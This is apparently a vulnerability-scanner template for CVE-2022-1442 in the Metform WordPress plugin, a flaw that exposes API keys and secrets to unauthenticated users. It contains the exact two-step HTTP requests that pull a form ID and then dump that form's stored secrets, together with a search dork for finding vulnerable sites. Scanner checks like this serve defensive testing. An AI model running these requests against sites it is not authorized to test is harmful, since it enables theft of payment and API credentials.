id: CVE-2022-1442

info:
  name: WordPress Plugin Metform <= 2.1.3 - Unauthenticated Sensitive Information Disclosure
  author: theamanrawat
  severity: high
  description: |
    The Metform WordPress plugin is vulnerable to sensitive information disclosure due to improper access control in the ~/core/forms/action.php file which can be exploited by an unauthenticated attacker to view all API keys and secrets of integrated third-party APIs like that of PayPal, Stripe, Mailchimp, Hubspot, HelpScout, reCAPTCHA and many more, in versions up to and including 2.1.3.
  reference:
    - https://gist.github.com/Xib3rR4dAr/6e6c6e5fa1f8818058c7f03de1eda6bf
    - https://wpscan.com/vulnerability/9f3fcdd4-9ddc-45d5-a4af-e58634813c2b
    - https://wordpress.org/plugins/metform/advanced/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-1442
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-1442
    cwe-id: CWE-862
  metadata:
    google-query: inurl:/wp-content/plugins/metform
    verified: "true"
  tags: wpscan,cve2022,wordpress,wp-plugin,disclosure,unauth,metform,cve,wp

requests:
  - raw:
      - |
        GET /wp-json/metform/v1/forms/templates/0 HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /wp-json/metform/v1/forms/get/{{id}} HTTP/1.1
        Host: {{Hostname}}

    req-condition: true
    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - "mf_recaptcha_secret_key"
          - "admin_email_from"
        condition: and

      - type: word
        part: header_2
        words:
          - "application/json"

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: id
        group: 1
        regex:
          - '<option value=\"([0-9]+)\"'
        internal: true